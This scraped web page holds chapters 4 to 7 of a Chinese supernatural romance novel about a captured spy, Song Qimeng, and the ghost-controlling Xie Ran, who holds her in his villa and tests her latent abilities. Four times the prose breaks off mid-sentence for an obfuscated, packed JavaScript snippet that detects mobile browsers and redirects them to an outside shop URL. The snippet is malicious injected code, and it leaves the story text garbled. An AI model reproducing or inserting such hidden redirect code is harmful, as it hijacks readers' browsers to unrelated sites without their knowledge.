面试官拿了一个骰子道具来,随意让她猜了几个数字。 抛了10次,猜对了8次。 面试官也是见过场面的人,依旧面不改色,又连续抛了几次,正确率高达80%以上。 随即又换了十色球,结果也很准确。 视频到此结束,屏幕上又弹出一段话来:“听说宋小姐就是因为超高的预测能力而被破格录取的。” “但是,由于保密性,组织并没有向她透露录取的真实原因,所以她应当并不知道自己有超强预测力。谢先生刚才实验失败,我斗胆猜测,应该是和她心情状态有关。” “预测靠的是心力,她如果心情不佳,或者注意力不集中的时候,预测准确度就会大大下降,这个能力也是需要引导突破的。” 谢然将手机息屏,捏在手里沉吟片刻,站起身来,不知不觉又走到她的卧室门口,想着刚才怕是吓着了她,犹豫着要不要解释一下。 才抬起手想要敲门,便听到门内隐约传来一阵压抑的抽泣声,抬着的手顿在半空,心里有些不是滋味。 他苦苦寻觅多年,寻找预测能力超强的人而无果,早就逐渐失去了耐心。 是他过于急躁了,即便她是暴露行踪的卧底,他也不该对一个女孩子这样。 想了想,还是没有在这时再去刺激她,他转身离开了。 宋绮梦趴在床上流着眼泪,一边在心里痛骂自己没出息,一边又盼着组织什么时候能来救自己。 从小到大,她虽然不是蜜罐里娇生惯养长大的女孩子,可到底也没受过这种委屈。 这个鬼王谢然,不仅性情反复无常,精神可能还有问题,再加上他可以轻易操纵伤口疼痛感,又想到那几个离奇死亡的生物研究员,她更是觉得此地不宜久留。 再待下去,不知道什么时候就被谢然杀了。 门外似乎一片安宁,宋绮梦停了啜泣,直起身子听了许久。 除了几个机器人明显机械化的走动声,再没有谢然的声音出现了。 她起身看了看墙上的老式钟表,已经是快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198970|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午三点了。 依照前几天观察的经验,谢然这个时候应该会去睡个午觉或在书房闭门不出,大概五点左右才会出来。 好机会! 这几天,她也观察过别墅内部,一楼是会客厅和开放式餐厅,但看起来从没人来过,只有机器人女仆在每天打扫;二楼是几间起居室;三楼是健身房和储物间,四楼是书房。 虽然谢然很少让她去三楼四楼,不过以她的观察,这整个别墅中并没有摄像头。 这间卧室她方才仔细搜查过,也是没有的。 二楼距离地面也就几米高,窗户也没锁,后院也无人看管,后墙也只有一人多高,上头没有电网。 她若是想办法跳出去,能逃走的几率很大。 说干就干,她毫不犹豫地将床单卷起来拧成一股绳,绑在床腿上,用尽力气扯了扯,纹丝不动。 虽然她体力不是很好,可好歹也是健身过的,轻而易举地将身子探出窗外,顺着床单向下滑动了一两米,看清脚下高度后,跳了下来。 窗外是松软的草坪,她落在上头毫发无损,警惕地看了看四周,果然没有一个人,这才毫不犹豫地只身穿过菜地,各色瓜果清香随风飘荡。 发丝掠过瓜藤,扯得叶子窸窣作响,她一边狂奔,一边在心中一个劲地道歉。 她太没用,才来三天就暴露了身份,辜负了组织对她的厚望。 可是她必须逃出去,安然无恙地回到安全地带,才能更好地迎接下一个任务。 回去之后,即便组织怎么处分,她都不会再回来这个鬼地方了。 手已经攀上了别墅外墙的铁栅栏,猛的一用力,她已经站了上去,再有三秒钟就可以翻出这幢别墅。 千难万险,好在她宋绮梦扛过来了! 即便没成功,可好歹是经历过危急场面的人,以后个人档案里不再是空白了! 而且,作为唯一和鬼王近距离生活几天的人,她的年终奖金没准会比一般的人多一些! 这样想着,这几天的心惊胆战全都变成了美好憧憬。 栅栏外面的地面也是松软的泥土路,她松开手,向下一跳。 下一瞬,她的身体并没有落地,还没来得及惊诧,诡异的引力拉扯着她漂浮起来,悬在半空中,就像她忽然到了月球一样。 外面的泥土地近在咫尺,她分明已经嗅到了自由的味道,此时自然不甘心,暗中奋力挣扎了几下,试图摆脱这股蛮力。 不知道是不是惹恼了什么东西,这股力量骤然变得凶蛮,她脖颈间加了一道压力,几乎使得她喘不过气来。 随即,那股力量竟挟持着她调转方向,头朝下,脖子对准了栅栏最尖端的地方。 她方寸大乱,挥舞着手脚想要挣扎,却丝毫没有作用,眼看着就要撞上去,鲜血四溢的场面已经不受控制地在脑海里浮现出来。 窒息感将她的声音尽数吞下,她只能从喉咙间发出“唔唔”的声音,不成音调。 透过眼中的泪水,她仿佛看到菜园对面站了一个人,正疾速向她冲过来。 她含恨闭上了眼睛——还是被他抓到了。 5. 第 5 章 想象中尖锐的痛感并没有来,她耳边传来急促的脚步声和一声喝断:“安德鲁!” 下降的速度顿时放缓,她睁开眼睛,见谢然站在栅栏里侧,神色略有些焦急,对着空气说着什么,看着像是在喃喃自语。 片刻后,宋绮梦惊奇发现,她身上的压力小了许多。 随后,她的身体越过栅栏,缓缓落在了别墅内的草地上。 草地湿漉漉的,她忽然被放上去,直接啃了一口草,几乎被上面的水呛到了。 她想要用手臂撑住身子爬起来,可无奈发现还是不能动,身上仿佛有千斤重担,眩晕难行。 “安德鲁。”谢然的声音低沉了几分:“听话。” 直到身上的禁锢完全褪去,宋绮梦才从草地上爬起来,浑身酸痛,身上都是泥巴和水渍,狼狈不堪。 撞上谢然阴沉的目光,她几乎是一个趔趄又摔在草地上,疼得龇牙咧嘴。 这个谢然,太吓人了! 她不玩了,彻底不玩了! 仿佛看破了她的想法,谢然居高临下地看过来,喉咙里发出一声冷哼。 “想逃?”声音虽不大,却明显压抑着怒气,几乎随时会爆发出来。 “没……没没有。”她低下头不敢与他对视,口中开始胡言乱语起来:“我是怕在您的别墅待久了,脏了您的地盘不说,还给您添麻烦,所以想着一走了之算了。” “临走的时候太仓促,忘了和您打声招呼,您不会生气了吧……哎?等一下,胳膊……疼!” 谢然冷着脸,拽着她的手臂,不由分说地往回走去。 有了刚才的教训,宋绮梦只喊了几句就乖乖住了口,小心翼翼地跟在谢然身后,又被带回了方才的卧室内。 悬在窗外的床单已经消失不见,床上换了新的床品,宋绮梦只惊讶了一瞬,就被谢然甩在床上,她身上本来就酸痛,这下更是一阵酸爽,但她察觉到谢然压抑的情绪,没敢再吭声。 直到冰冷的手铐按在腕上的瞬间,她才惊慌失措地叫出声来。 “鬼王大人!”她喊了一声,顿时有些后悔——这时候求他,会不会撞在他气头上了? 可是谢然已经回过头来,静等着她继续开口,她不得不硬着头皮说下去,但气势明显弱了一大截:“您能不能……放……放了我?” 谢然的神情还是没有半分变化,可宋绮梦分明察觉到压抑的气氛袭来,逼得她想要逃离,虽然退无可退,但还是向着离他远些的方向挪了几寸。 “放了你?”谢然挤出这几个字来,像是在真诚发问:“一个卧底,不知道窃取了多少机密,我没杀你已经是仁至义尽,你还想要我无条件放了你?” “可我……真的什么机密都没发现。”事情已经到了这一步,宋绮梦犹豫着想再多为自己争取一番,壮着胆子继续说道:“我留在这里对您也没有用处,不如?” “不如?”谢然冷笑一声:“杀了你?” “不不不不。”宋绮梦蜷起双腿挡在身前,没被铐住的右手慌乱地挥舞着:“不必了。” “刚才的话就当我没说过,您大人有大量。”她赔笑着又做了个“请”的姿势。 谢然用嘲讽的神情看了她一眼,仿佛看透了她的贪生怕死。 随即,他出去了。 门在关上的一瞬间,宋绮梦紧绷的身体舒缓了几分。 过度紧张的情绪也终于得到了片刻宣泄的机会,她忍不住湿了眼眶,一边用右手捂住狂跳的心脏,一边深呼吸了几下。 这个地方,还有这个谢然,真是太可怕了! 一次逃生不成,恐怕就没有第二次了,这也是她最担心的一点。 不过,细细想来,刚才她险些逃出去的时候,那股力量不像是磁场或者什么力场,根据谢然的反应来看,更像是一个名叫“安德鲁”的鬼魂在暗中作怪。 想到这里,一股微凉的风顺着外头窗子涌进来,宋绮梦打了个寒颤,明明是盛夏的傍晚,但她还是用空余的右手将床上的夏凉被扯过来,裹在了身上。 她想起之前看过的档案,传闻谢然有控鬼的能力,如今看来,竟不是空穴来风。 觉得周身愈发冰凉,似乎有什么难以言说的能量在作怪,她裹紧了被子,像屋内瞥了一眼。 此前觉得大气敞亮的布置,如今竟觉得有些阴森。 没准这间小小的屋子里挤满了看不见摸不着的鬼魂,不敢细想,就觉得毛骨悚然。 根据谢然这两天反常的表现,她努力在心里推测他的目的是什么。 昨夜被他看破身份,可能是因为她被他真的当成了机器人,不眠不休地跟着他待了三个晚上,昨晚她太困了,禁不住打了个哈欠,被他察觉到了。 可这根本怪不到她,来这边之前,闻展辉和她讲过,谢然别墅里的机器人很多,他不太可能会注意到她,更不可能会专门逮着她一个人用。 来了之后,她发现闻展辉的话只说对了一半——谢然别墅里机器人确实很多,但他偏偏喜欢逮着她一个人用。 甚至不分白天黑夜。 白天她负责准备茶点,晾晒衣物等杂活,晚上还要在他床边“站岗”。 她编号A07,这个数字被谢然时不时挂在嘴边上。 再联系到刚才的猜测,她不禁想到,可能他早就发现了她卧底的身份,只不过故意捉弄、试探她罢了。 今天连续几次试探,是为了测试她有没有窥探机密的能力? 越想越觉得复杂难辨,她索性闭目养神,不再多想。 这一次,许久都没有人来寻过她。 夜风逐渐微凉,夜色也愈发浓郁,她无法判断现在是几点,只能在混沌的空虚之中沉沉睡去。 再次醒来时,已经不知道是不是后半夜了。 手铐还在左手腕上,头垂坠在上面睡了很久,导致一阵刺痛传来,她咬了咬牙,这才发现后槽牙绷紧的同时,携带了些许钝痛。 她微微叹了口气。 从小到大,她在紧张的时候入眠,都会有牙关咬紧的情况,这一次想必也不例外。 缓缓坐直了身子,微小的动作就让久未进食的身体酸软,肚子里传来一阵响动。 她饿了。 不知道是不是幻觉,她好像闻到了浓郁的奶香加上三明治的味道,和她昨天中午吃的一样。 摸索着打开墙壁上的老式灯,她忍着灯光,眯着眼向香味的来源看去,不禁微微愣住了。 床头柜上真的放了一杯奶,一碟三明治。 和她昨天吃的一模一样,她右手触上去,发现还是温的。 焦灼的饥饿感迫使她动作起来,先喝了一口奶,被食物温养的胃舒缓地蠕动起来,她又拿起三明治,几乎是狼吞虎咽地吃了下去。 随后,她坐直身子,僵直的身体换了个舒服些的姿势,尽量忽略酸痛的地方。 又是一阵夜风,她忽然起了一层鸡皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198971|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疙瘩,腹内响动,她蜷起了身子。 完了,想上厕所。 这深更半夜的,也不知道去哪里找谢然,如果大声呼喊,他能听到吗? 还没想好对策,腹中的痛感愈发袭来,她额上沁出一层冷汗来,挣了挣左手腕,发出了一声轻微的呻吟。 “这个死谢然,只顾着把人锁起来,有没有想过优待俘虏啊?”她骂了一声,才要张口大声喊他的名字,手腕却在此时忽然一松。 就像手铐听到了她的心声一样,居然自己开了。 她愣了一瞬,丝毫顾不得研究这其中的机理,抓紧时间冲进卫生间。 此后再无睡意,她趁着解绑的空隙,洗漱之后,顺便洗了个澡。 自带的长发烘干机嗡嗡启动,她坐着享受着自然风吹干头发的舒爽,禁不住又睡了一会儿。 再次睁开眼时,烘干机已经自动停了,可外面隐约有声音响起,像是有人在调整什么参数。 她将手压在门把手上,轻轻转动,随着门缝打开,一阵清晰的机械女声传来。 “力度:3分,范围:肩胛骨到尾椎骨,模式:轻柔。如您确认无误,按摩即将开始。” 随着门逐渐打开,只见外面沙发上,谢然穿着一套浅灰色的长袖睡衣趴着,旁边的家居机器人站在一旁,做出准备按摩的姿势。 他分明听到了门开的声音,但并没有抬起头来看一眼。 机器人发出嗡嗡的响声,开始操作起来。 宋绮梦本来想要退回卧室里去,可看到这一幕,又莫名停下了脚步。 有按摩功能的机器人好像很贵,比一般的打扫卫生的机器人程序复杂得多。 她从学校毕业之后,一直想着买一个这样的机器人送给爸妈,毕竟她和他们不在一个城市,照顾不了那么到位。 这款机器人手臂看上去触感柔软,除了神色呆滞,其余地方看不出和正常人类有什么差异。 也许是看得太久了,谢然忽然从沙发上抬起头来,锐利的目光扫过,像是要把她身上剜出一个洞来。 她身子一顿,有种被发现的不安,只好解释道:“手铐…它自己开了…” 谢然并没说什么,背上冷硬的手力道稍微大了些,他不满地皱了皱眉,口中吩咐:“玲珑,开启手臂加热,力度调到2度。” “收到。”机械女声响起后,又是一阵嗡鸣声,想必参数调好了。 但是力度2明显不如力度3舒适,谢然调整了几回姿势,还是觉得不尽如人意。 察觉到不远处的身影还在,谢然再次抬起头来,审视地看着她。 “那个。”宋绮梦舔了舔干涸的唇,犹豫着开口:“这个按摩功能的机器人,感觉舒服吗?” “你要不要来试试?” 万万没想到谢然是这个回答,宋绮梦慌忙摆摆手——她哪儿敢啊。 沉默了片刻,她知道自己继续站在这里并不合适,解释道:“我是想问问你的用户体验而已,我想给我爸妈买一个。” 谢然眸色深沉了几分,生人勿近的气质似乎有了些许缓解,他发出一声含糊的“唔”,示意他知道了。 随即又很快答道:“不怎么样。” “那,为什么不试试真人按摩呢?”宋绮梦也不知道自己哪里来的那么多话,问出来之后才觉得自己多嘴。 谢然没有再看她,而是缓缓问道:“你是不是想叫我出去试试真人按摩,然后伺机逃跑?” 6. 第 6 章 宋绮梦这次确实没有想要支开谢然,然后自己逃跑的意思。 受到这样的质疑,她第一反应是无奈,还有点生气。 不再温软的言语脱口而出:“你到底是有多怕我逃跑啊?” 想了想最近几天一直酝酿但没说出口的话,她态度又软下来:“我对你到底有什么用处?” 见谢然没有生气,她大着胆子往前走了几步,尽力摆出一副可怜巴巴的样子来:“鬼王大人,你看我在这里一点用都没有,每天只会碍您的眼,不如……” 谢然不置可否,扭头对着机器人发出了停止按摩的指令。 随后,他回过头来,眼神中不似往常一样坚冰一片,反而带了些审视和戏谑的意味。 “谁说你没有用了?”他漫不经心地说道:“听说你考过了按摩师高级证书?” 宋绮梦呆住了,脚步顿在原地,心中闪过疑问,但很快又释然了。 作为俘虏,她的通讯器被他收去,她的一些基本信息被他查到,也是理所当然的事情。 “嗯。”她点头:“怎么了?” 机器人玲珑已经完成了收尾工作,身姿僵硬地向外走去。谢然瞥了宋绮梦一眼,用命令的语气吩咐道:“过来替我按摩。” 一瞬间,宋绮梦心里闪过千万个疑问,一股怒气冲向头顶,周围的空气都稀薄了许多。 不是,他凭什么?她父母都有两三个月没有享受过她的按摩了,这个证书她才考下来没多久,本来是想着回家照顾父母的,现在他倒想着坐享其成? 攥着双拳,心里想着寄人篱下的诸多无奈处,她又不敢真的得罪了他,只好缓缓向前挪了几步。 “不乐意就算了。”谢然作势要起身,宋绮梦忙上前跨了一大步:“等一下。” 如果这次按摩得好,没准能从他身上获取些好处。 咬着牙把屈辱的泪意憋回去,宋绮梦站在沙发前,先按照预备动作,舒缓了一下手上的筋骨。 才触摸到他的脊背,那一晚的经历不受控制地闪现出来,她又慌乱地缩回了手。 竭力把他想象成无关紧要的人,或者一个假人,就当给她练手用的假人,她又咬咬牙,将手按了回去。 不得不说,谢然背部的手感很好,棱角分明,肌肉分布均匀,像是经过了常年健身的效果。 宋绮梦不禁又想起从第一晚在浴室外头见到他的情形。 果然,中看也中用,好想知道他是怎么练成这样的。 之前不会是做健身教练的吧? 她在这里思绪纷飞,冷不丁被谢然打断了:“好好按,别分心。” 她强忍着不快,强迫自己从回忆中醒过神来,专心致志地按了起来。 不知过了多久,她手上有些酸麻起来,他只是趴着,一点反应也没有。 她探头看了看,发现他竟然不知道什么时候呼吸已经变得均匀,头枕在小臂上,紧闭着双眼。 “哼,居然睡着了,这么舒服吗?”她愤愤不平。 手上加重了力气,暗戳戳使了坏,果然成功将他从梦里弄醒了。 “好了。”他才睡醒,语气还有点含糊不清:“辛苦了。” 她在背后翻了个白眼——她又不是他属下,说什么辛苦了! 谢然起身,见她还是眼巴巴地对着他瞧,不禁笑了笑,看上去心情大好。 宋绮梦这还是第一次见到他笑,就像见到一块千年老冰骤然融化,不免觉得有些新奇。 “最近你都是吃的三明治,想要加餐吗?我亲自做。” 宋绮梦瞪大眼睛——不是,辛苦了这么久,就换来一句加餐? 谁稀罕他亲自做的什么餐!她要的是马上,立刻,离开这个鬼地方! 也许是看出她不满意,他回头又加了一句:“哦,对了,以后,你的行动范围可以扩展到整个别墅,包括三楼和四楼。” 就这?她不为所动。 “还不满意?”他笑意收敛了几分:“你想要我放你走,是不可能了。” “不过,看在你今天辛苦的份上,我可以再给你一个特权。”他盯着她期盼的眼神看了很久,卖足了关子,答案才揭晓:“你可以问我一个问题,无论你问什么,我都会如实回答。” 宋绮梦反复提升的情绪又缓缓坠落回去,跌到谷底。 没有对他的话做出任何回应,她冷着脸甩了甩酸麻的手臂,一言不发地回到了屋里。 忍不住把床上的枕头举起来,在床上摔了几次。 虽然什么用都没有,可好歹是发泄了一场。 冷静了些之后,她瘫在床上,开始细细盘算今天的几个收获。 第一个加餐,这个最是无关紧要,不过根据谢然阴险狡诈的性格,多半是想根据她的饮食习性来推测她的日常生活环境。 第二个,扩大她的行动范围,之前仅限于机器人可去的一楼二楼,如今开放了三四楼,也不一定是好事,可能是谢然故意放出一些幌子来,想看看她会不会自投罗网。 第三个,随意问他一个问题。她捏住下巴,皱了皱眉。 细想想,这倒是一个有意思的议题。 没等她想多久,外头又传来了敲门声,打断了她的思绪。 “出来吃饭了。”是谢然的声音。 她穿上拖鞋走出门去,外头并没有做饭的痕迹,但是香味很浓,餐桌上摆了一个样式古老的铁锅,里头赫然是一整只炖鹅。 桌上还摆了几碟小菜,看上去也是刚炒出来的。 她愣神的当口,他已经递了一双筷子来。 她接过来,心中不免犯嘀咕。 这真是他自己做的?怎么做的东西五花八门的。 先是三明治和牛奶,随后又是铁锅炖大鹅?厨艺相当杂糅。 之前怀疑他是做健身教练的,现在又怀疑他是不是做过主厨。 鉴于他好像活了很多年,或许两种工作都做过也未可知。 谢然面色沉稳,端了一盘炖鹅来,示意她先尝尝。 心里祈求着没毒,她硬着头皮吃了一口。 十分意外地不错。 见她神色满意,他才开口:“今天你辛苦了,谢谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198972|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多吃点吧。” 她几乎被烫到了——装什么礼貌? 一边在心里嫌弃,一边没有出息地胃口大开,吃了两碗饭。 实在是饱了,她才站起身来,想着一会儿要不要去三楼四楼消食,起居室的门被打开了。 安晓生站在门口,显然是没想到能看到两个人相对吃饭的场面,一时间有些晃神。 “你们先吃。”他尴尬地笑了笑:“我在外头等。” 宋绮梦察觉到他们有事要谈,也就识趣地没有再多停留。谢然独自一人安静地吃完了饭,这才抓起椅背上的衣服,径直走到了四楼书房里。 安晓生坐在皮椅上,正无聊地转着圈等着他。 回头一瞧,见他神色坦然地走进来,安晓生再也按捺不住,“噌”地站起身来,语气火急火燎:“你怎么还没把她打发走?” “前几次他们的人用了什么手段,你又不是不知道。”安晓生抱怨起来:“真出了事,不还是我来替你收拾后路。” 谢然难得有几分好心情,耐着性子解释道:“你先别急,这次情况不同,她……倒不是什么危险的人。” 安晓生冷哼一声,把头别过去看向窗外:“他们不会是对症下药,攻破了你的弱点吧。” “越是看上去人畜无害的人,越是危险,这个道理你不应该比我更懂?”安晓生说到这里,又扭过头来看他:“说句不好听的,你应该就是独居久了,太无聊了,有一点新奇的东西出现在你生活里,你就欲罢不能了。” 这句话说出来,许久没有听到谢然回应,安晓生知道自己怕是说重了,便站起身来,向谢然走去。 谢然正站在窗边,向远处看着,不知道在看些什么。 半晌,一个轻缓的声音徐徐传来:“你说得对。” 安晓生脚步停了一瞬,随即又加速走上前去。 他在谢然后肩拍了一掌。 “不是吧你。”他禁不住仔细瞧了瞧谢然的神情,确信不是怒极的反应后,才放心了些。 以往,谢然最不爱听到别人说他孤独,发展到后来,就连单独的“孤”和“独”两个字也不爱听。 这次是怎么了? 看到谢然眼中的红血丝,安晓生叹了口气,语气平缓了许多:“你最近还在失眠吗?” 谢然没有回答,看来并没有缓解了。 安晓生嘀咕了一句,准备去桌上拿他随手带着的医疗箱。 “不必。”谢然早就知道他要做什么:“我这副身体,用不着操心了。” “那也不能……”安晓生将后半句话吞进腹中,生硬地别开了话题:“你留着她,到底有什么用处?” “什么预测能力,不是被你验证过是假的了吗?” “晓生。”谢然没有回答他的问题,而是转过身来,认真地问道:“你是正经医学出身,你知不知道有哪些资料或者书籍,是关于激发潜能的?” 沉默了半晌,安晓生略带惊恐的声音传来:“不是吧谢然,你还想要亲自帮她激发潜能?” “难道你是真的被憋疯了?” 7. 第 7 章 “我有预感。”谢然又低头看向落地窗外的荒地,声音低沉:“她的确有些不一样。” “哪里不一样,什么地方不一样?”安晓生快步走上前去:“你不会被鬼迷心窍了吧,她怎么看都是个初入社会的普通大学生而已啊。” “她来的第一晚,竟然和这里的氛围融合得很好,导致我都没有发现她的异常。”谢然说完这一句,随即又说道:“而且,有她在身边的时候,这附近的灵体都不会轻易来打搅我,因此前几天晚上,我都睡得还不错。” “还有。”谢然像是打开了话匣子:“能从安德鲁手上逃生的人,古往今来只有她一个。” “安德鲁?”安晓生眉头缓缓皱起来:“那个极其暴躁的厉鬼?” 谢然点点头:“你是见识过的,二十多年前,有个人进来偷东西,才一摸到栅栏,就被瞬间撕成了碎片。” “而安德鲁对她多了几分小心翼翼。”谢然沉吟道。 安晓生叹了口气,改口道:“不一样就不一样,他们费了那么大的心思,有几分特殊也是有可能的。我的意思是,你没必要把自己搭进去。” “你需要一个有预测灵感的人替你查清当年的真相,她或许是个好苗子,但你用不着亲自来。”安晓生说到这里,犹豫片刻,还是直截了当地说道:“你的身份太过敏感,不如直接把她当做棋子,成了是好,没成也不会牵连到你。” “我可以帮你。”安晓生提出自己的方案来:“我把她带到我们医院,以新课题研究的名义开发她的潜能,应该比你自己上手快得多。” “更何况,她现在对你应该没有半点好感,这个时候培养她的灵力,她应该也不会配合,效果会大打折扣。” 说了这么多,谢然仍是稳稳地站着,没有递过来半个眼神,就像没听到他说的话一样。 安晓生知道,这代表他全盘否决自己的提议。 知道他倔,安晓生最终还是叹息一声:“我去医院附属学校图书馆帮你找找你要的资料。” 谢然宽厚的肩膀动了动,终于回过头来。 “谢了。”他轻声说。 安晓生离去的脚步在书房外顿住了,这点细微的异常引得谢然回过头来。 原来是宋绮梦站在门外。 她无聊之中走到四楼来,本想转身离去,正好撞见安晓生出来。 不免有些尴尬,她只是轻轻点了点头,算作打招呼。 “叫安叔。”一声不紧不慢的吩咐传来。 她下意识地接口:“……安叔。” 此情此景,倒像是家里小孩不知道叫亲戚什么称呼,“家长”在身后强势提醒。 安晓生面上多了几分无奈,随手摸了一把自己脸上的胡须,不满地嘟囔:“有那么老?” 待安晓生离去之后,宋绮梦脸上残存的笑意才慢慢淡了下去,努力做出一副谈判的架势来。 她要来行使谢然给她的最后一个权利:问他一个问题。 谢然在椅子上坐了,又拖出一把空着的椅子来,示意宋绮梦坐。 亲手给她倒了一杯茶。 宋绮梦坐上去,先是不由自主地看了一眼落地窗外的大片荒地,在确定没有任何其他的建筑物后,心里泛起一丝疑问,但很快又敛去了疑惑的神情。 她莫名有些拘谨起来,将茶杯端在手上,看着高低起伏的茶叶,一言不发。 谢然也不急,喝了一口茶,静待她开口。 宋绮梦喝了一口茶,淡淡的茶香盈满口腔,她抬起头来,看着谢然的眼睛,把问题抛了出来。 “你迟迟不肯放我走,又不肯杀我,是不是因为我有一些潜在的第六感之类的能力,能够帮助到你处理什么事情?” 她一口气讲完,自己都觉得这个问题有些贪婪。 迫不及待地将所有疑问罗列出来,想知道更多真相。 谢然沉默着听完,面上露出了一丝讶然,随即更多的是玩味。 “是。”他毫不犹豫地回答完,又喝了一口茶。 他彻底放松下来,随手从桌上抽出一本书来,摆在面前,像是她不在一旁一样。 他连续翻了几页书,她才后知后觉。 “等一下。”她站起身来,按住他翻动的书页:“这就没了?” “当然。”谢然抬起眼皮来看她,带着一丝疑惑:“我已经回答了你的问题。” “你分明是耍赖!”宋绮梦急了:“都不带解释一下的?” 她苦思冥想了半天,才把谢然最近几天的异常行为摸了个大概原因,现如今他一个字就能把她打发了?休想! 谢然自从被她按摩过之后,心情就一直很好。 他此时不知道是故意逗她,还是真实想法:“最终解释权归回答方所有。” “不行。”她眉头拧成了一股绳:“我问的问题是,我能帮你处理什么事情?” 谢然紧盯着她的眼睛,不禁笑了笑。 这一笑,配上绝妙的五官,倒显出一丝邪魅来,看得宋绮梦呆了一瞬。 “这是第二个问题了。”谢然笑道:“要不,你用下一次按摩来换?” “你想得美!”宋绮梦怒极,她柳眉倒竖,面色气得通红,无意识地嘟起嘴来,手上也加重了力气。 “啧。”谢然不满地低头看了一眼,随即捏住她的袖子,将她的手从书上拿开:“别揉皱了我的书。” 眼看着再没有谈下去的必要了,宋绮梦气得七窍生烟,转身走出了书房。 心中暗暗发誓,他以后再也别想享受她的按摩! 也许是气到了,晚饭她也没有吃上几口,到了半夜里,又骤然发起高烧来。 半夜起来,发觉自己浑身发冷、头晕目眩,伴随着剧烈的肌肉酸软,宋绮梦第一时间打开卧室门,才向外走了几步,就失了力气,软软地倒在外间地毯上。 守在门外的机器人经过一轮很快的红外扫描后,发出冷冰冰的警告声:“性别:女;年龄:23岁;体温:39.8℃;症状:高热惊厥;须尽快就医处理。” 还没念到第二遍,谢然就出现在门口,短暂查看过后,将她打横抱起,放在客厅的沙发上。 十几分钟后,安晓生大步走进来,一眼就看到烧得脸色发红的宋绮梦躺在沙发上,紧皱着眉头,看上去十分严重。 快速配置了两瓶退烧药,将针插进她手背上的血管,见她昏迷时还在乱动,又嘱咐谢然用了些大号医用胶带,将她的手臂粘在沙发上。 冰凉的药液输进身体,她的神色逐渐有了好转。 安晓生松了口气,将身上的外套脱下来,擦了擦额间的汗。 “我记得你这个别墅是冬夏恒温的,她怎么会忽然发烧到这么严重?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198973|197144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不禁发出疑问。 谢然蹲着身子,紧紧盯着她的脸,半晌才喃喃道:“一般人最多只能承受一个。” “而她,竟然到第七个才有反应。” “什么第几个?”安晓生忽然倒吸一口冷气:“你不会是……把鬼魂放进来对她做了测试吧?” 见谢然没有反应,安晓生又惊又怒:“你疯了?!” “她再有特殊能力,也不过是个普通人而已,你用这样的力量测试她,就不怕出了人命?”安晓生气不打一处来,又禁不住说了一通:“你太着急了点,不是说好等我找到资料之后再慢慢培养她的能力吗?” “你手上那些鬼魂有多危险,你自己又不是不知道!”安晓生很少发这么大的脾气,或许是医者仁心,见不得谢然用这样的手段。 谢然低着头,一声不吭。 他知道这样做或许不对,可他等了太久,实在是等不及了。 这一次兵行险招,但他赌对了。 她确实对鬼物有着不小的耐力和震慑力,远超一般人。 这个能力若是再搭配上觉醒的预测灵力,简直是他的绝佳帮手。 安晓生的责备还在耳畔:“当年到底发生了什么事情,叫你这样放不下?” 谢然还是没有回答。 当年的事,无异于一场噩梦,血雨腥风、鬼哭狼嚎,堪称人间炼狱。 他只身一人活了下来,却仿佛丢失了最珍贵的灵魂。 他时常在想,是不是他其实已经葬身其中,如今活下来的只是空洞的躯壳。 “谢然。”安晓生叹了口气,也蹲下来:“你不要总是这样一个人扛着,我们是朋友,我说过,我会尽我所能帮你的。” “你想要查什么,我这里也有医院的一手资讯。” “与其寄希望在一个不相干的人身上,不如……”安晓生想要继续劝说时,谢然抬起一只手臂,打断了他。 “别说话,她现在快醒了,听得到。” 安晓生沉默中长叹一声,又从药箱里将退烧药拿出来:“每天一次。” 浑身犹如被巨型车轮碾压数遍,头疼得像是要爆裂开来。宋绮梦艰难地睁开眼睛,一时间并不知道自己在什么地方。 可喉咙干渴,犹如火烧,她不假思索地对着沙发旁边那个黑影伸出手去:“水……” 谢然从机器人手中接过温水,端到她跟前,一手扶着她勉强撑起来的后背,一手端着水杯,看着她一口气喝了一整杯。 “鬼王?”她认出他来了,只不过高烧过的脑子有些不听使唤,一时间记不起来他叫什么,只记得这个无厘头的称呼。 